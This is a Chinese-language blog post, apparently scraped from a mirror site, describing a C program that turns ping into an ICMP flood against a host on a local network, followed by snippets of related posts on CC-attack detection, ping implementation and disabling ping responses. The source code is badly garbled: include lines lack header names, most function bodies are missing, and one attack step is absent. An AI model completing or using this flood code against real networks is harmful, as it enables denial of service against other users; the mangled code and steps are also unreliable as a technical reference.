Linux 環境實現ping攻擊

2021-07-02 04:46:36 字數 2423 閱讀 1228

通過不斷的ping區域網中的某個主機,可以達到幾乎完全占用那個主機網速的效果,但自己的網速也廢了,整個區域網的上網基本上也廢來。所以這是一種同歸於盡的攻擊方式,實用性基本上不存在了。之所以做這件事,是因為最近在研讀 tcp/ip詳解卷一 這本書,所以用**實現了ping的功能,並且稍加改進成為了ping攻擊的**。

一、開發環境:red hat enterprise linux 6.0

編譯工具:gcc

二、程式流程:

三、程式原始碼:

#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define packet_size 4096//緩衝區大小

struct timeval timeout=;//設定socket超時時間5s

fd_set fds;//檔案描述符集合,可以監視該集合的描述符

char sendpacket[packet_size];//傳送緩衝區

char recvpacket[packet_size];//接收緩衝區

int sockfd,datalen=56;//套接字

int nsend = 0,nreceived = 0;//傳送和接收計數

struct sockaddr_in dest_addr;//目的ip位址

pid_t pid;//程序id號

struct sockaddr_in from;//源ip位址

struct timeval tvrecv;//時間結構體

unsigned short cal_chksum(unsigned short* addr,int len);//校驗和計算函式

int pack(int pack_no);//打包函式

void send_packet(void);//傳送包函式

void tv_sub(struct timeval *out,struct timeval *in);//時間計算函式\

unsigned short cal_chksum(unsigned short* addr,int len)

if(nleft == 1)

sum = (sum>>16)+(sum&0xffff);

answer=~sum;

return answer;

}int pack(int pack_no)

void send_packet()

else if(ret==0)

else

// sleep(1);

if(nsend==0x7fffffff)

nsend=0;

}}void tv_sub(struct timeval* out,struct timeval* in)

out->tv_sec -= in->tv_sec;

}int main(int argc,char* argv)

if((protocol = getprotobyname("icmp"))==null)

if((sockfd=socket(af_inet,sock_raw,protocol->p_proto))<0)

setuid(getuid());

setsockopt(sockfd,sol_socket,so_rcvbuf,&size,sizeof(size));//設定接收緩衝區大小

setsockopt(sockfd,sol_socket,so_sndbuf,&size,sizeof(size));//設定傳送緩衝區大小

bzero(&dest_addr,sizeof(dest_addr));//初始化填充位址結構體

dest_addr.sin_family = af_inet;

if(inaddr = inet_addr(argv[1]) == inaddr_none)//不能從輸入引數1直接獲取到ip位址

memcpy((char*)&dest_addr.sin_addr,host->h_addr,host->h_length);

}else

dest_addr.sin_addr.s_addr = inet_addr(argv[1]);//直接填充ip位址

while(1)

return 0;

}四、攻擊過程

第一步:利用nmap工具檢視區域網內的活躍ip;

第三步:在筆記本上檢查效果,發現網頁根本打不開,時間長了。操作還有點卡,整個區域網上的機子都是這樣,所以說同歸於盡嘛!

應急CC攻擊排查(Linux環境)

cc攻擊就是利用大量 伺服器對目標計算機發起大量連線,導致目標伺服器資源枯竭造成拒絕服務。那麼如何判斷查詢cc攻擊呢?本文主要介紹了一些linux下判斷cc攻擊的命令。檢視所有80埠的連線數 netstat nat grep i 80 wc l 對連線的ip按連線數量進行排序 netstat anp...

linux下實現的ping程式

一 設計目的 ping程式是我們使用的比較多的用於測試網路連通性的程式。ping程式基於icmp,使用icmp的回送請求和回送應答來工作。由計算機網路課程知道,icmp是基於ip的乙個協議,icmp包通過ip的封裝之後傳遞。課程設計中選取ping程式的設計,其目的是通過ping程式的設計,能初步掌握...

Linux禁止ping 開啟ping設定

linux預設是允許ping響應的,系統是否允許ping由2個因素決定的 a 核心引數,b 防火牆,需要2個因素同時允許才能允許ping,2個因素有任意乙個禁ping就無法ping。具體的配置方法如下 a 核心引數設定 1 允許ping設定 a.臨時允許ping操作的命令為 echo 0 proc ...